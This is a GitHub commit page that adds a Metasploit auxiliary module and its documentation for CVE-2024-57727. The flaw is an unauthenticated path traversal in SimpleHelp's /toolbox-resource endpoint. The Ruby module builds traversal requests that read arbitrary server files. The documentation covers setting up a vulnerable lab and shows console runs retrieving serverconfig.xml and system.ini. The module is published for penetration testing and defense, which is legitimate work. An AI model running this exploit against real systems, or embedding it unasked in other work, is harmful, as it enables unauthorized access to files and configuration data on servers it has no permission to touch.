Skip to content

Commit f046e70

Browse files
dledda-r7dledda-r7
authored
Land rapid7#19894, SimpleHelp Path Traversal CVE-2024-57727
Land rapid7#19894, SimpleHelp Path Traversal CVE-2024-57727
2 parents 458d086 + e4ee651 commit f046e70

File tree

2 files changed

+202
-0
lines changed

2 files changed

+202
-0
lines changed

‎documentation/modules/auxiliary/scanner/http/simplehelp_toolbox_path_traversal.md‎

Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
## Vulnerable Application
2+
There exists a path traversal vulnerability in the /toolbox-resource endpoint of SimpleHelp that enables unauthenticated
3+
remote attackers to download arbitrary files from the SimpleHelp server via crafted HTTP requests
4+
5+
### Setup
6+
7+
On Ubuntu 22.04 download a vulnerable version of SimpleHelp, for this demo we will use 5.5.7:
8+
`wget https://simple-help.com/releases/5.5.7/SimpleHelp-linux-amd64.tar.gz`
9+
10+
Unzip the application:
11+
```
12+
cd /opt
13+
tar -xvf SimpleHelp-linux-amd64.tar.gz
14+
```
15+
16+
Start the server:
17+
```
18+
cd SimpleHelp
19+
sudo sh serverstart.sh
20+
```
21+
22+
Navigate to the Web App GUI at: `http://127.0.0.1` (by default the application should be listening on all interfaces).
23+
You should see "Welcome to your new SimpleHelp Server".
24+
Select "Start New Server". The application should now be vulnerable to the path traversal.
25+
26+
## Verification Steps
27+
28+
1. Start msfconsole
29+
1. Do: `use simplehelp_toolbox_path_traversal`
30+
1. Set the `RHOST`
31+
1. Run the module
32+
1. Receive the file `serverconfig.xml` from the SimpleHelp
33+
34+
## Scenarios
35+
### SimpleHelp 5.5.7 running on Ubuntu 22.04
36+
```
37+
msf6 exploit(windows/local/cve_2024_35250_ks_driver) > use simplehelp_toolbox_path_traversal
38+
39+
Matching Modules
40+
================
41+
42+
# Name Disclosure Date Rank Check Description
43+
- ---- --------------- ---- ----- -----------
44+
0 auxiliary/scanner/http/simplehelp_toolbox_path_traversal 2025-01-12 normal No Simple Help Path Traversal Vulnerability
45+
46+
47+
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/simplehelp_toolbox_path_traversal
48+
49+
[*] Using auxiliary/scanner/http/simplehelp_toolbox_path_traversal
50+
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set rhost 172.16.199.130
51+
rhost => 172.16.199.130
52+
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > run
53+
[*] Reloading module...
54+
[*] Running automatic check ("set AutoCheck false" to disable)
55+
[+] The target appears to be vulnerable. Version detected: 5.5.7
56+
[+] Downloaded 5233 bytes
57+
[+] File saved in: /Users/jheysel/.msf4/loot/20250220163655_default_172.16.199.130_simplehelp.trave_035651.txt
58+
[*] Scanned 1 of 1 hosts (100% complete)
59+
[*] Auxiliary module execution completed
60+
```
61+
62+
### SimpleHelp 5.5.7 running on Windows 11
63+
```
64+
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set rhosts 172.16.199.131
65+
rhosts => 172.16.199.131
66+
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set filepath windows/system.ini
67+
filepath => windows/system.ini
68+
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set depth 4
69+
depth => 4
70+
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > run
71+
[*] Running automatic check ("set AutoCheck false" to disable)
72+
[+] The target appears to be vulnerable. Version detected: 5.5.7
73+
[+] Downloaded 219 bytes
74+
[+] File saved in: /Users/jheysel/.msf4/loot/20250221075039_default_172.16.199.131_simplehelp.trave_820456.txt
75+
[*] Scanned 1 of 1 hosts (100% complete)
76+
[*] Auxiliary module execution completed
77+
msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > cat /Users/jheysel/.msf4/loot/20250221075039_default_172.16.199.131_simplehelp.trave_820456.txt
78+
[*] exec: cat /Users/jheysel/.msf4/loot/20250221075039_default_172.16.199.131_simplehelp.trave_820456.txt
79+
80+
; for 16-bit app support
81+
[386Enh]
82+
woafont=dosapp.fon
83+
EGA80WOA.FON=EGA80WOA.FON
84+
EGA40WOA.FON=EGA40WOA.FON
85+
CGA80WOA.FON=CGA80WOA.FON
86+
CGA40WOA.FON=CGA40WOA.FON
87+
88+
[drivers]
89+
wave=mmdrv.dll
90+
timer=timer.drv
91+
92+
[mci]
93+
```

‎modules/auxiliary/scanner/http/simplehelp_toolbox_path_traversal.rb‎

Lines changed: 109 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
8+
include Msf::Auxiliary::Report
9+
include Msf::Auxiliary::Scanner
10+
include Msf::Exploit::Remote::HttpClient
11+
12+
prepend Msf::Exploit::Remote::AutoCheck
13+
14+
def initialize(info = {})
15+
super(
16+
update_info(
17+
info,
18+
'Name' => 'SimpleHelp Path Traversal Vulnerability CVE-2024-57727',
19+
'Description' => %q{
20+
There exists a path traversal vulnerability in the /toolbox-resource endpoint that enables unauthenticated
21+
remote attackers to download arbitrary files from the SimpleHelp server via crafted HTTP requests
22+
},
23+
'Author' => [
24+
'horizon3ai', # discovery
25+
'imjdl', # CVE-2024-57727 PoC
26+
'jheysel-r7' # module
27+
],
28+
'References' => [
29+
[ 'URL', 'https://www.horizon3.ai/attack-research/disclosures/critical-vulnerabilities-in-simplehelp-remote-support-software/'], # Discovery
30+
[ 'URL', 'https://simple-help.com/kb---security-vulnerabilities-01-2025#security-vulnerabilities-in-simplehelp-5-5-7-and-earlier'], # Vendor Advisory
31+
[ 'URL', 'https://rustlang.rs/posts/simple-help/'], # PoC for Path Traversal CVE-2024-57727
32+
[ 'URL', 'https://attackerkb.com/topics/G4CTOrbDx0/cve-2024-57727'], # PoC for Path Traversal CVE-2024-57727
33+
[ 'CVE', '2024-57727'],
34+
],
35+
'License' => MSF_LICENSE,
36+
'DisclosureDate' => '2025-01-12',
37+
'Notes' => {
38+
'Stability' => [ CRASH_SAFE, ],
39+
'SideEffects' => [ IOC_IN_LOGS, ],
40+
'Reliability' => [ ]
41+
}
42+
)
43+
)
44+
45+
register_options(
46+
[
47+
OptString.new('TARGETURI', [true, 'The base path to SimpleHelp installation', '/']),
48+
OptString.new('FILEPATH', [true, 'The path to the file to read', 'configuration/serverconfig.xml']),
49+
OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 2 ])
50+
]
51+
)
52+
end
53+
54+
def check
55+
res = send_request_cgi(
56+
'method' => 'GET',
57+
'uri' => normalize_uri(target_uri.path, 'allversions')
58+
)
59+
60+
return Exploit::CheckCode::Unknown('Unable to retrieve SimpleHelp version.') unless res&.body =~ /Visual Version:\s*(\d+\.\d+(?:\.\d+))/
61+
62+
version = Rex::Version.new(Regexp.last_match(1))
63+
64+
# Patched versions are: 5.5.8 or 5.4.10 or 5.3.9
65+
if version.between?(Rex::Version.new('5.5.0'), Rex::Version.new('5.5.7')) ||
66+
version.between?(Rex::Version.new('5.4.0'), Rex::Version.new('5.4.9')) ||
67+
version.between?(Rex::Version.new('5.3.0'), Rex::Version.new('5.3.8'))
68+
return Exploit::CheckCode::Appears("Version detected: #{version}")
69+
end
70+
71+
Exploit::CheckCode::Safe("Version detected: #{version}")
72+
end
73+
74+
def run_host(ip)
75+
directory = %w[alertsdb invitations secmsg toolbox-resources backups sslconfig translations notifications techprefs history recordings templates html remotework toolbox].sample
76+
traverse = '../' * datastore['DEPTH']
77+
78+
res = send_request_cgi(
79+
'method' => 'GET',
80+
'uri' => normalize_uri(target_uri.path, "/toolbox-resource/../#{directory}/#{traverse}/#{datastore['FILEPATH']}")
81+
)
82+
83+
unless res&.code == 200 && res.body.present?
84+
print_error('Nothing was downloaded')
85+
return
86+
end
87+
88+
vprint_line(res.body)
89+
print_good("Downloaded #{res.body.length} bytes")
90+
91+
report_vuln(
92+
host: rhost,
93+
port: rport,
94+
proto: 'tcp',
95+
name: name,
96+
info: 'Module triggered a 200 reply',
97+
refs: references
98+
)
99+
100+
path = store_loot(
101+
'simplehelp.traversal',
102+
'text/plain',
103+
ip,
104+
res.body,
105+
datastore['FILEPATH']
106+
)
107+
print_good("File saved in: #{path}")
108+
end
109+
end

0 commit comments

Comments
 (0)